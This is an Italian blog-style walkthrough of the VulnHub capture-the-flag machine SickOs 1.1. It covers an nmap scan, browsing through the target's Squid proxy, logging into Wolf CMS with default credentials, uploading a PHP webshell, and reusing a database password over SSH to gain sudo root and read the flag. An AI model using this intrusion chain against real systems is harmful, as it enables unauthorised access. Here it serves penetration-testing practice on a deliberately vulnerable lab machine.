Buon anno! Viste le feste oramai quasi giunte al termine per tenerci in forma non solo fisicamente, voglio fare insieme a voi un po di esercizio. Sapete cos’è una CTF? Sicuramente si, ma per chi invece non sa cosa significa, CTF sta per Capture The Flag, è una sfida reale di Penetration Test su ambienti creati ad hoc che presentano delle sfide da superare o degli obbiettivi.

Oggi vedremo insieme come risolvere la CTF SickOs 1.1 presa dal sito vulnhub.com

Dopo averla scaricata e installata come macchina virtuale, iniziamo la nostra sfida. Il nostro obbiettivo è vedere il contenuto dell file flag nella cartella di root.

# cat /root/a0216ea4d51874464078c618298b1367.txt 

Iniziamo con un nmap per capire che servizi espone

root@kali:~# nmap -sS -T5 -A 192.168.131.133 -p 1-65535

Starting Nmap 6.47 ( http://nmap.org ) at 2015-12-28 16:04 CET
Nmap scan report for 192.168.131.133
Host is up (0.00018s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
MAC Address: 00:0C:29:A5:DC:06 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms 192.168.131.133

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.26 seconds

Non sembra aver dato molti risultati, come possiamo vedere le porte aperte corrispondono a ssh 22, squid proxy 3128. Le altre informazioni per questa volta sono superflue perché già date nella pagina di presentazione della CTF.

Proviamo a giocare con il proxy, impostiamolo sul nostro browser e vediamo cosa ci fa fare. Io ho utilizzato un plugin per Firefox chiamato “Proxy Selector“.

sickosProxy

Se proviamo con il proxy impostato ad andare su http://192.168.131.133 ci restituisce questa schermata:

Bleah

Le classiche trollate delle CTF :-) …ma ora? La prima cosa che possiamo verificare è il file robots.txt se contiene informazioni utili.

User-agent: *
Disallow: /
Dissalow: /wolfcms

Sembra esserci qualcosa, proviamo la pagina http://192.168.131.133/wolfcms. Ecco che finalmente qualcosa di interessante

wolfcms

Nel’app non sembra esserci nulla di interessante, un’installazione base del CMS Wolf. Proviamo a verificare se hanno lasciato le credenziali di default… puntiamo il browser sull’URL per accedere al pannello di amministrazione

http://192.168.131.133/wolfcms/?admin

loginAdmin

Ottimo! le password di default funzionano sempre admin:admin e siamo dentro.

adminstration

Ora il nostro obbiettivo è trovare un form di upload per l’invio di una webshell o una RCE per eseguire dei comandi sul server. E’ ben visibile il tab in alto chiamato “Files” che potrebbe fare al caso nostro.

files

Appare subito un bel tasto “Upload Files”

fileUpload

Troppo facile! Come non provare subito a fare un upload di una webshell?

shellUploaded

Perfetto! Tutto sembra funzionare alla grande. Ora puntiamo il nostro browser sulla URL della shell http://192.168.131.133/wolfcms/public/images/cshell99.php

shellUp

Facciamo un giro nei file di configurazione dell’applicazione alla ricerca di credenziali valide. La prima cosa che viene in mente è il file config.php individuato nella path principale.

config

Segniamoci queste credenziali, root:john@123

Proviamo a connetterci al database e verificare la tabella utenti, se troviamo qualcosa di interessante. Ma l’unico utente presente è admin di cui già conosciamo la password. Proviamo altre strade.

Voglio una shell valida ssh, vediamo gli utenti presenti sul server

passwd

Il primo che ci salta all’occhio è sickos con una shell, vediamo se è lo stesso che ha installato il CMS. Facciamo una prova con ssh connettendoci con le credenziali: sickos:john@123

root@kali:~# ssh 192.168.131.133 -l sickos 
[email protected]'s password: 
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Dec 28 22:17:50 IST 2015

  System load:  0.0               Processes:           120
  Usage of /:   4.3% of 28.42GB   Users logged in:     1
  Memory usage: 12%               IP address for eth0: 192.168.131.133
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

124 packages can be updated.
92 updates are security updates.

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Dec 28 21:20:47 2015 from 192.168.131.135
sickos@SickOs:~$

Siamo dentro! Ora vediamo cosa ci è possibile fare, visto che ci troviamo su Ubuntu, proviamo a vedere se è utilizzabile sudo

sickos@SickOs:~$ sudo -l
[sudo] password for sickos: 
Matching Defaults entries for sickos on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sickos may run the following commands on this host:
    (ALL : ALL) ALL
sickos@SickOs:~$

Con sudo è possibile lanciare un comando per leggere il file Flag terminando così la nostra CTF e raggiungendo l’obbiettivo prefissato.

sickos@SickOs:~$ sudo ls /root
a0216ea4d51874464078c618298b1367.txt
sickos@SickOs:~$ sudo cat /root/a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying


sickos@SickOs:~$

Cheers!